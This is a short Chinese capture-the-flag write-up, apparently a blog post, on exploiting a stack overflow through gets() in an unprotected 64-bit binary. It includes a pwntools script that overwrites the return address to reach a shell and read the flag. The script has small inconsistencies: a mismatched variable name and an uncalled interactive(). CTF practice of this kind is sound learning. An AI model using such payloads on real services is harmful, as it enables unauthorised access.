首先检查保护机制 checksec

64 位 + 什么保护都没开
然后放到ida64中查看
发现gets函数,没有限制数据的长度,容易发生栈溢出
shift+F12 找到bin_sh函数地址

64位程序直接读取偏移量
构造payload,编写exp
from pwn import*
p=remote("ip",端口)
binsh_addr=地址
payload='a'*(0x70+8)+p64(bin_sh)
p.sendline(payload)
p.interactive
连接成功后ls
cat flag
本文探讨了在64位程序中发现的栈溢出漏洞,通过IDA64分析发现gets函数不设长度限制。作者详细介绍了如何定位bin_sh函数地址,构造payload并使用pwn库进行远程攻击,最后演示了交互式shell获取flag的过程。
1432





